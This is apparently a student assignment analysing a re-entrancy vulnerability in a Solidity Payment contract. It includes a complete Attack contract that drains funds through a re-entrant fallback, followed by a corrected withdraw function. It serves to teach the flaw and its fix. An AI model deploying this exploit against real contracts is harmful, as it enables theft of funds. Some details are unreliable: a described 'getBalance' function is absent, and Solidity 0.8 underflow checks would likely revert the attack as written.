**CA-2**

**Submitted by:**

**C. Sai Sumanth**

**12206535**

**32**

**Q.2** Examine the Solidity code below. Identify the vulnerability and explain how it can be exploited. Then, rewrite the function to fix the issue.

pragma solidity ^0.8.0;

contract Payment {

mapping(address => uint) public balances;

function deposit() public payable {

balances[msg.sender] += msg.value;

}

function withdraw(uint amount) public {

require(balances[msg.sender] >= amount, "Insufficient balance");

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= amount;

}

}

**Answer:**

1. Introduction

In this report, we will be analyzing a smart contract written in Solidity, focusing on identifying a vulnerability known as Re-entrancy. We will demonstrate how this vulnerability can be exploited using an attack contract, and then we will propose a solution to prevent such an attack. The vulnerable contract we will be discussing is a Payment contract that allows users to deposit and withdraw Ether.

2. Code Explanation

We will start by explaining the components of the `Payment` contract.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Payment {

mapping(address => uint) public balances;

function deposit() public payable {

balances[msg.sender] += msg.value;

}

function withdraw(uint amount) public {

require(balances[msg.sender] >= amount, "Insufficient balance");

// Vulnerable: Ether is sent before balance is updated

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= amount;

}

}

Explanation of the Code

‘deposit’ function: Allows users to send Ether to the contract. The `msg.sender` balance is updated with the amount of Ether sent.

‘withdraw’ function: Allows users to withdraw Ether from their balance. It checks if the user has enough balance and then sends the Ether using `call{value: amount}("")`. After sending the Ether, it updates the user’s balance.

‘getBalance’ function: Allows users to view the contract’s current balance.

This contract seems straightforward but contains a critical flaw in the `withdraw` function.

3. Identifying the Vulnerability: Re-entrancy Attack

The vulnerability in this contract is the \*\*Re-entrancy\*\* vulnerability, which occurs when the contract calls an external address (in this case, the `msg.sender`) and that address can call back into the contract before the balance has been updated. This allows an attacker to repeatedly withdraw funds before the contract’s state is updated, leading to a loss of funds.

How the Vulnerability Works

1. The user requests a withdrawal.

2. The contract sends Ether to the user using `msg.sender.call{value: amount}("")`.

3. Before the contract’s state (`balances[msg.sender]`) is updated, the user’s fallback function can be triggered.

4. In the fallback function, the attacker’s contract can call `withdraw` again, potentially draining the contract repeatedly.

Example of the Attack Scenario

To demonstrate the attack, we use an Attack contract that exploits this vulnerability.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IPayment {

function withdraw(uint) external;

function deposit() external payable;

}

contract Attack {

IPayment public payment;

constructor(address \_payment) {

payment = IPayment(\_payment);

}

// Fallback function to initiate re-entrancy

fallback() external payable {

if (address(payment).balance >= 1 ether) {

payment.withdraw(1 ether);

}

}

// Attack function to start the re-entrancy attack

function attack() external payable {

require(msg.value >= 1 ether, "Minimum 1 Ether required to attack");

payment.deposit{value: 1 ether}();

payment.withdraw(1 ether);

}

// Helper function to check the balance of the attack contract

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

How the Attack Works:

1. The attacker’s contract deposits 1 Ether into the vulnerable contract.

2. When the attacker calls `withdraw(1 ether)`, the vulnerable contract sends Ether to the attacker. However, before the balance is updated, the attacker’s fallback function is called.

3. The fallback function calls the `withdraw` function again, repeating the process and draining more funds from the contract.

4. Solution to the Vulnerability: Fixing the Code

The issue is that the contract sends Ether to the user before updating the balance. This allows the attacker to repeatedly call `withdraw` before the balance is updated.

To fix this, we follow the Checks-Effects-Interactions pattern:

1. First, we update the state (subtract the balance).

2. Then, we send the Ether to the user.

Here is the fixed version of the `Payment` contract:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Payment {

mapping(address => uint) public balances;

function deposit() public payable {

balances[msg.sender] += msg.value;

}

function withdraw(uint amount) public {

require(balances[msg.sender] >= amount, "Insufficient balance");

balances[msg.sender] -= amount;

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

}

}

Explanation of the Fix:

State Change First: The balance is updated before any Ether is sent to the user. This prevents the attacker from re-entering the contract and draining funds.

Ether Transfer: After the state is updated, the contract sends Ether to the user.

5. Conclusion

This report demonstrated a common vulnerability in smart contracts—Re-entrancy—and showed how an attacker can exploit it using a malicious contract. We also proposed a solution by following the \*\*Checks-Effects-Interactions\*\* pattern, which ensures the contract’s state is updated before interacting with external addresses, thus preventing the attack. The fix ensures the security and integrity of the contract, even in the presence of malicious actors.